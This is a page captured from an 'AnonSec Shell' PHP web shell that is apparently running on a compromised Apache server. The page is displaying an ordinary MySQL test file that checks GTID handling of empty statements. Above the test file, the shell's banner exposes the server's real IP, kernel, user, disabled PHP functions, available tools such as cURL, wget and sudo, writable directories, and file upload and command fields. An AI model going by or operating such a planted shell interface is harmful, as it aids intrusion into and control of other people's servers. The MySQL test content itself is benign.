AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/no_binlog_gtid_empty_statement.test
# ==== Purpose ====
#
# This test will execute an empty statement before setting GTID_NEXT session
# variable. It will use both ANONYMOUS and specific GTIDs, with both GTID_MODE
# equal to OFF and ON.
#
# As an empty statement should be considered an "innocent" statement from the
# GTID execution point of view (it doesn't change the database), it should be
# possible to execute a SET GTID_NEXT right after the empty statement without
# errors.
#
# ==== Related Bugs and Worklogs ====
#
# BUG#22811150 SQLCOM_EMPTY_QUERY should be considered GTID innocent
#

# Test is not required to run against embedded server
--source include/not_embedded.inc

USE test;

# With anonymous GTIDs
--source include/set_gtid_next.inc
CREATE TABLE t1 (c1 INT);
# This statement should be considered an empty statement
/*!99999 SET @@SESSION.non_supported_session_variable = 1*/;
--source include/set_gtid_next.inc
INSERT INTO t1 VALUES (1);
# This statement should be considered an empty statement
/*!99999 SET @@SESSION.non_supported_session_variable = 1*/;
--source include/set_gtid_next.inc
DROP TABLE t1;

# Sets GTID_MODE to ON for the second part of the test
--let $rpl_gtid_mode= ON
--let $rpl_set_enforce_gtid_consistency= 1
--let $rpl_server_numbers= 1
--let $rpl_skip_sync= 1
--source include/rpl_set_gtid_mode.inc

# Just in case that the server has some GTID_EXECUTED
SET GTID_NEXT='AUTOMATIC';
RESET MASTER;

# With non-anonymous GTIDs
--source include/set_gtid_next.inc
CREATE TABLE t2 (c1 INT);
# This statement should be considered an empty statement
/*!99999 SET @@SESSION.non_supported_session_variable = 1*/;
--source include/set_gtid_next.inc
INSERT INTO t2 VALUES (1);
# This statement should be considered an empty statement
/*!99999 SET @@SESSION.non_supported_session_variable = 1*/;
--source include/set_gtid_next.inc
DROP TABLE t2;

# Cleanup
SET GTID_NEXT='AUTOMATIC';
--let $rpl_gtid_mode= OFF
--let $rpl_set_enforce_gtid_consistency= 0
--source include/rpl_set_gtid_mode.inc

Anon7 - 2022
AnonSec Team